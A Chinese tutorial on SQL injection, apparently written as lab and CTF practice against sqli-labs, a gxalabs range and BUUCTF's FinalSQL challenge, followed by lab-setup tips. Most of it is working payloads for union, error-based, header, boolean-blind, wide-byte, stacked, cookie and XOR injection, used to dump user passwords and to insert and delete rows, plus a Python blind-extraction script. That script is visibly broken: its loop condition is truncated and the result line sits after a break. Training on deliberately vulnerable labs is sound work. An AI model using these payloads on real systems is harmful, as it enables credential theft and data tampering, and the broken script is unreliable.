sql_lab之sql注入所有注入方法详解归纳(union联合注入,post注入,报错注入,head注入,布尔盲注,宽字节注入,堆叠注入,cookie注入,搜索型注入,异或注入)和sql_lab靶场搭

目录

一、sql_lab中sql注入之union联合注入

 1.判断注入类型

2.判断注入点

3.判断字段数量

4.用union联合查询,判断回显点

5.查询使用的是那个数据库

6.查询表名

7.查询users表里面的字段名

8.查username和password

二、sql_lab之sqli中的post注入

1.判断是否存在注入

2.判断字段数

3.用union查询判断回显点

4.查出当前数据库名

5.查询当前数据库中的表名

6.查询flag表中的字段名

7.查字段里面的数据

三、sql_lab之sqli中的报错注入,less13

1.输入用户名和密码123 123显示登录错误

2.输入用户名和密码123’ 123显示登录错误​编辑​

3.查询数据库名

4.查询表名

5.查询users用户的字段名

6.查询username和password

四、sql_lab之sqli中的head头注入,less18

1.输入用户名和密码123 123显示登录错误

2.输入用户名和密码123’ 123显示登录错误

3.用burp进行爆破(因为head注入需要登录成功后才能进行查询)

4.抓出登录成功后的包

5.查找报错点

6.尝试在User-Agent里面输入内容进行爆破注入

(1)判断注入类型

(2)查询数据库名

(3)查询表名

(4)查询字段名

(5)查询username和password

五、sql_lab之sqli中的布尔盲注(Boolean)less8

1.首先给出value

2.判断注入类型

3.判断字段数

4.判断用什么注入

(1)用union联合查询来尝试

(2)用报错注入尝试

(3)用布尔盲注来进行查询

5.判断当前数据库名的长度

(1)将所需要的变量加§,并选择束集炸弹

(2)将变量1改为

(3)将变量2改为

(4)得到最终结果

(5)根据ascii码将结果进行查询得到

6.判断表名

(1)判断表的数量

(2)查询每个表名的长度  

(3)查询表名

7.判断字段名

(1)判断字段数量

(2)判断每个字段的长度

(3)判读字段名​​​​​​​

8.查询最终结果username和password

六、sql_lab之sqli中的宽字节注入(less32)

1.判断注入类型

2.构成闭环

3.查询字段数

4.用union联合查询判断回显点

5.查询数据库名

6.查询表名

7.查询字段名

8.查username和password

七、sql_lab之sqli中的堆叠型注入(less-38)

1.判断注入类型

2.查询字段数

3.判断回显点

4.查询数据库

(1)在users表中添加一个用户

(2)在users表中删除一个用户

八、sql_lab之sqli注入中的cookie注入Cookei注入(gxa的从cookei注入)

1.打开控制台

2.验证id=2时的值

3.判断是上面闭合方式

4.用order by 判断字段数

5.用联合查询判断回显点

6.用转换器转换出base64

7.出现回显

九、sql_lab之sqli中的搜索型注入

1.找到具有模糊查询的搜索框的注入点

2.构造闭合

3.查询字段数

4.union联合查询,判断回显点

5.查询数据库

6.查询表名

7.查询字段

十、sql注入中的异或注入--sql注入加强版(盲注)[极客大挑战 2019]FinalSQL

1、明确异或注入中的异或是什么

2、进入数据库测试异或

3、靶场测试

(1)找注入点

(2)尝试一下盲注中的异或注入了

4.用二分法得到数据库名

十一、sql_lab靶场搭建以及存在的一些问题

1.首先检查小皮版本

2.如果不是这个错误,那么便查看数据库密码是否添加,或者是否与MySQL密码一致

一、sql_lab中sql注入之union联合注入

 1.判断注入类型

 http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1 

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显

则判断出是字符型注入,且注入是’注入

2.判断注入点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值

则判断是sql注入

3.判断字段数量

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果

说明该数据库的字段数量是3

4.用union联合查询,判断回显点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+

5.查询使用的是那个数据库

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+

6.查询表名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+

查询到了security数据库里面的所有表名

7.查询users表里面的字段名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+

8.查username和password

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

二、sql_lab之sqli中的post注入

Post注入

用burpsuit抓包去做

Post第一关:(gxa5)

1.判断是否存在注入

username=1'or 1=1 #&password=123&submit=%E7%99%BB%E5%BD%95 有回显

username=1'or 1=2 #&password=123&submit=%E7%99%BB%E5%BD%95 没有回显

则证明存在sql注入

2.判断字段数

username=1'or 1=1 order by 4 #&password=123&submit=%E7%99%BB%E5%BD%95 没有回显

username=1'or 1=1 order by 3 #&password=123&submit=%E7%99%BB%E5%BD%95 有回显

则证明字段数是3

3.用union查询判断回显点

username=1'union select 1,2,3 -- a&password=123&submit=%E7%99%BB%E5%BD%95

4.查出当前数据库名

username=1'union select 1,database(),3 -- a&password=123&submit=%E7%99%BB%E5%BD%95

5.查询当前数据库中的表名

username=1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' -- a&password=123&submit=%E7%99%BB%E5%BD%95

6.查询flag表中的字段名

username=1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='flag' -- a&password=123&submit=%E7%99%BB%E5%BD%95

7.查字段里面的数据

username=1'union select 1,group_concat(id),group_concat(flag) from flag -- a&password=123&submit=%E7%99%BB%E5%BD%95

三、sql_lab之sqli中的报错注入,less13

 报错注入(less-13)

正常报错注入:

1.输入用户名和密码123 123显示登录错误

2.输入用户名和密码123’ 123显示登录错误

123后面有’)说明是’)注入

3.查询数据库名

1') and updatexml('',concat('1111',database(),'1'),'1') -- s

爆出XPATH syntax error: 'security1'

或者用1') and extractvalue('1',concat('1',database())) -- s

爆出XPATH syntax error: 'security'

4.查询表名

1') and extractvalue('1',concat('1',(select group_concat(table_name) from information_schema.tables where table_schema='SECURITY'))) -- s

5.查询users用户的字段名

1') and extractvalue('1',concat('1',(select group_concat(column_name) from information_schema.columns where table_schema='SECURITY' and table_name='users'))) -- s

6.查询username和password

输入这个

1') and extractvalue('1',concat('1',(select group_concat(username) from users))) -- s

Username结果显示

同理

1') and extractvalue('1',concat('1',(select group_concat(password) from users))) -- s

Password结果显示

注意该结果只能显示一行,所以说需要username和password分开查询,否则会出现错误

比如:

=1') and extractvalue('1',concat('1',(select group_concat(username),group_concat(password) from users))) -- s

结果为:

四、sql_lab之sqli中的head头注入,less18

报错注入中的head注入(less-18)

1.输入用户名和密码123 123显示登录错误

2.输入用户名和密码123’ 123显示登录错误

则证明不是普通报错注入,因为有用户名和密码框,如果不是普通报错注入则尝试head注入

3.用burp进行爆破(因为head注入需要登录成功后才能进行查询)

  用户名123,密码0 因为对用户名进行爆破

结果为

同理也可使用密码admin对用户名进行爆破

4.抓出登录成功后的包

对每个地方进行尝试找出报错点

5.查找报错点

在User-Agent: 里面输入1

有回显

6.尝试在User-Agent里面输入内容进行爆破注入

(1)判断注入类型

输入User-Agent: 1'

报错显示 near '127.0.0.1', 'admin')' 说明是’)闭合

且应 写为(‘1’,’2’,’3’):其中1代表报错点,2表示127.0.0.7,3表示admin

(2)查询数据库名

用User-Agent: 1'and extractvalue('1',concat('~',(select database()),'~')),123,123) -- s 查出

所以数据库名为security

(3)查询表名

User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~')),123,123) -- s

XPATH syntax error: '~emails,referers,uagents,users~'

所以表名为emails,referers,uagents,users

(4)查询字段名

User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),'~')),123,123) -- s

XPATH syntax error: '~id,username,password~'

所以字段名为id,username,password

(5)查询username和password

User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(username) from users))),123,123) -- s

查找出用户名为XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'

User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(password) from users))),123,123) -- s

查找出密码为XPATH syntax error: '~Dumb,I-kill-you,p@ssword,crappy'

五、sql_lab之sqli中的布尔盲注(Boolean)less8

1.首先给出value

http://127.0.0.3/less-8/?id=1 有回显

2.判断注入类型

http://127.0.0.3/less-8/?id=1 有回显

http://127.0.0.3/less-8/?id=1’ 没有回显

http://127.0.0.3/less-8/?id=1’ -- s 有回显

http://127.0.0.3/less-8/?id=1' and 1=1 -- s  有回显

http://127.0.0.3/less-8/?id=1' and 1=2 -- s  没有回显

说明注入类型是单引号字符串注入

3.判断字段数

http://127.0.0.3/less-8/?id=1' order by 3 -- s  有回显

http://127.0.0.3/less-8/?id=1' order by 4 -- s  没有回显

说明字段数为3

4.判断用什么注入

(1)用union联合查询来尝试

http://127.0.0.3/less-8/?id=1' UNION SELECT 1,database,3 -- s  没有回显说明不是union联合查询

(2)用报错注入尝试

   http://127.0.0.3/less-8/?id=1' and updatexml('',concat('1111',database(),'1'),'1') -- s  没有回显说明不是报错注

(3)用布尔盲注来进行查询

 http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s   没有回显

http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s   有回显 

则证明是布尔盲注

5.判断当前数据库名的长度

http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s   没有回显

http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s   有回显 

则证明数据库名长度为8

用burp进行爆破

(1)将所需要的变量加§,并选择束集炸弹

(2)将变量1改为

(3)将变量2改为

(4)得到最终结果

  

(5)根据ascii码将结果进行查询得到

数据库名为security

6.判断表名

(1)判断表的数量

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) =4 -- s 有回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >3 -- s 有回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >4 -- s 没有回显

说明security中有4个表

(2)查询每个表名的长度  

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) =6 -- s  有回显

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >10 -- s 没有回显

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >5 -- s 有回显

说明第一个表名的的长度为6

用burp爆破

将所需要的变量加§,并选择束集炸弹

将变量1改为

将变量2改为

最终结果为

(3)查询表名

第一个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)) = 1 -- s

通过burp爆破步骤同上得到

所以第一个表名为:emails

第二个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1)) = 1 -- s

所以第二个表名为:refere

第三个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1),1,1)) = 1 -- s

所以第三个表名为:uagent

第四个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 3,1),1,1)) = 1 -- s

所以第四个表名为:users

查到users用户表名

7.判断字段名

(1)判断字段数量

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =2 -- s无回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =3 -- s 有回显

说明字段名的字段数是3

(2)判断每个字段的长度

用SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1

用burp爆破,步骤同上得到

所以字段1的长度为2,字段2的长度为8,字段3的长度为8

(3)判读字段名

步骤同上

1

2

3

查询得

所以第一个字段名为id,第二个字段名为username,第三个字段名为password

8.查询最终结果username和password

查询username和password总数

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(username) FROM users) =13 -- s 

Username=13

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(password) FROM users) =13 -- s

Password=13

查询username和password的最终结果

Username

passowrd同理

六、sql_lab之sqli中的宽字节注入(less32)

1.判断注入类型

http://127.0.0.3/less-32/?id=1

http://127.0.0.3/less-32/?id=1'

出现 \’ 则证明是宽字节注入

2.构成闭环

http://127.0.0.3/less-32/?id=1%df' -- s

显示登录成功则构成闭环

3.查询字段数

http://127.0.0.3/less-32/?id=1%df' order by 4 -- s

http://127.0.0.3/less-32/?id=1%df' order by 3 -- s

说明字段数为3

4.用union联合查询判断回显点

http://127.0.0.3/less-32/?id=-1%df' union select 1,2,3 -- s 记住前面要加 - 因为不加 - 则会正常查询第一个数不会执行联合查询

5.查询数据库名

http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),3 -- s

6.查询表名

http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 -- s

爆出security里面的table表

7.查询字段名

http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 -- s

8.查username和password

http://127.0.0.3/less-32/?id=-1%df' union select 1,group_concat(username),group_concat(password) from users -- s

七、sql_lab之sqli中的堆叠型注入(less-38)

1.判断注入类型

http://127.0.0.3/less-38/?id=1' and 1=2 -- s 没有回显

http://127.0.0.3/less-38/?id=1' and 1=1 -- s 有回显

则说明是单字节’注入

2.查询字段数

http://127.0.0.3/less-38/?id=1' order by 4 -- s 报错

http://127.0.0.3/less-38/?id=1' order by 3 -- s 有回显

说明字段数为3

3.判断回显点

http://127.0.0.3/less-38/?id=-1' union select 1,2,3 -- s

4.查询数据库

http://127.0.0.3/less-38/?id=-1' union select 1,database(),3 -- s

接下来的步骤可以用联合查询进行查询

堆叠注入攻击

(1)在users表中添加一个用户

http://127.0.0.3/less-38/?id=1'; insert  into values(17,'gao','a123456') -- s

证明添加成功

(2)在users表中删除一个用户

http://127.0.0.3/less-38/?id=1';delete from users where users.username='gao'   -- s

表中没有gao这个用户,说明删除成功

八、sql_lab之sqli注入中的cookie注入Cookei注入(gxa的从cookei注入)

1.打开控制台

2.验证id=2时的值

document.cookie="id=2"

3.判断是上面闭合方式

document.cookie="id=2' -- s" 有回显

说明是’单引号闭合

4.用order by 判断字段数

5.用联合查询判断回显点

接下来的步骤与显错注入类似(用联合查询做的注入类似),不过多叙述

也可以用burp抓包的方式去做

在Cookie: id=2' -- s中输入值

Base64注入(gxa中base64注入)

6.用转换器转换出base64

Id=1 转换成 id=MQ==

7.出现回显

http://sss-s347glt.gxalabs.com/Pass-21/index.php?id=MQ==

然后接下来的每一步通过union联合查询进行注入然后转译成base64的编码格式即可

九、sql_lab之sqli中的搜索型注入

原理是运用模糊查询:

select * from users where username like '%a%'

1.找到具有模糊查询的搜索框的注入点

2.构造闭合

因为模糊查询的代码是

select * from users where username like '%a%'

所以应该

鱼%’ -- s

判断构造闭合的函数是否正确

鱼%' and 1=1 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=1 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=2 -- s

证明闭合成功

3.查询字段数

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 10 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 5 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 7 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 8 -- s

所以说字段数为7

4.union联合查询,判断回显点

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,2,3,4,5,6,7 -- s

所以说回显点为2和6

5.查询数据库

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,6,7 -- s

6.查询表名

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(table_name) ,7 from information_schema.tables where table_schema="food_db" -- s

7.查询字段

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(column_name) ,7 from information_schema.columns where table_schema="food_db" and table_name="collection" -- s

十、sql注入中的异或注入--sql注入加强版(盲注)[极客大挑战 2019]FinalSQL

 新知识-sql注入中的异或注入(盲注)

1、明确异或注入中的异或是什么

异或注入是盲注的一种类型,因为异或逻辑通常返回的是1和0,所以一般用于盲注中。应用场景是过滤了union  select  and  or  orderby等一些关键字。还能绕过空格过滤。

异或符号是  xor   或者    ^

相同为0,不同为1

数字与数字:

1^1     ----------------------0                                         

0^0     ----------------------0

1^0     ----------------------1

字符与字符:

字符中如果没有数字或者数字在字母后面在比较时都会转为数字0,

'admin'=0    'admin12'=0

而当数字在字母前面时会是在字母前面的一堆数字

'1admin'=1   '12admin'=12  'admin'=0    'admin12'=0

数字与字符:

将字符转为数字进行异或操作

'admin1'^1=0^1

'admin'^1=0^1

'1admin'^1=1^1

2、进入数据库测试异或

mysql -uroot -p123456789

查询数据库

show databases;

使用travel数据库

use xxx;

查询数据库中的表名

show tables;

查询表里面的内容

select*from xxx;

测试

select * from plane where uname='roo'^1;这里'roo'=0所以说uname=0^1,所以说uname=1

由此可知当uname=1时查不到结果

select * from plane where uname='roo'^0;这里'roo'=0所以说uname=0^0,所以说uname=0

由此可知uname=0时查到所有结果

3、靶场测试

推荐靶场sqli-labs、[极客大挑战 2019]FinalSQL

我使用的时[极客大挑战 2019]FinalSQL

(1)找注入点

这点我首先在用户名、密码输入了一系列的注入点发现都没有什么效果,这就是这个傻鸟靶场坑的地方。

因此我们就重新找注入点,这里我在做上一个靶场极客大挑战 2019]EasySQL的时候

没有中间这个

因此我们把焦点放在这里尝试点击看看有没有变化

当我点击1的时候,奇异的一幕发生了,我点击进去了

这意味着我们又重新找到了注入点

进行一系列的代码尝试

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' or 1=1 -- s

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') or 1=1 -- s

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1”) or 1=1 -- s

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” or 1=1 -- s

发现都是这个结果,那么就表明可能是or 这个关键字被过滤了

但是当我们把or换成and

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' and1=1 -- s

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') and1=1 -- s

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1”) and1=1 -- s

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” and 1=1 -- s

发现也是相同的结果

(2)尝试一下盲注中的异或注入了

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id='1'^1

id='1'^1这里也就等同于id=1^1,也就为id=0

发现回显变了,说明我们注入点找正确了

继续尝试

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id='1'^0

发现回显又发生了变化,因此我们在后面加入我们想查询的语句

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>0)  这里length(database())>0如果为真就为1,id=1^1,也就为id=0

回显跟上述测试的一致,因此database长度确实大于0

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>5)

回显跟上述测试的一致,因此database长度不大于5

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>3)

证明大于3也是正确的

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())=3)

证明等于3是错误的

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())=4)

证明等于4是正确的

burp抓包找到正确的数据库名

http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),1,1))=4)

进行抓包

这里发现状态码不一样,和长度不一样的时候

很多结果都不满足,因此不能用burp来做

4.用二分法得到数据库名

经过一系列的步骤得到

http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),1,1))=103)

第一个字母为103=g

http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),2,1))=101)

第二个字母为101=e

http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),3,1))=101)

第三个字母为101=e

http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),4,1))=107)

第四个字母为107=k

所以最终结果为geek

5、构造脚本

import requests

import time

url = "http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?"

temp = {"id" : ""}

column = ""

for i in range(1,1000):

    time.sleep(0.06)

    low = 32

    high =128

    mid = (low+high)//2

    while(low

        #库名

        temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)

        #表名

        #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)

        #字段名

        #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)

        #内容

        #temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)

        r = requests.get(url,params=temp)

        time.sleep(0.04)

        print(low,high,mid,":")

        if "Click" in r.text:

            low = mid+1

        else:

            high = mid

        mid =(low+high)//2

    if(mid ==32 or mid ==127):

        break

        column +=chr(mid)

    print(column)

print("All:" ,column)

得到最终flag

十一、sql_lab靶场搭建以及存在的一些问题

 sql_lab靶场搭建问题

1.首先检查小皮版本

把小皮改到5.3.29版本如果没有可以直接点击更多版本进行选择安装

当版本不对时则会暴出这种错误

SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:

Fatal error: Uncaught Error: Call to undefined function mysql_connect() in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php:29 Stack trace: #0 {main} thrown in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php on line 29

2.如果不是这个错误,那么便查看数据库密码是否添加,或者是否与MySQL密码一致

打开sql-connections下面的db-creds.inc

打开sql-connections下面的db-creds.inc

小皮数据库里面的root密码与db-creds.inc里面的密码要保持一致

如果密码不正确则会出现这个错误

SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'root'@'localhost' (using password: YES) in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php on line 29

[*]...................Could not connect to DB, check the creds in db-creds.inc: Access denied for user 'root'@'localhost' (using password: YES)

当密码一致和版本正确后则会成功导入数据库

这样就表示sql_lab环境搭建成功,可以使用

你可能感兴趣的:(sql,数据库)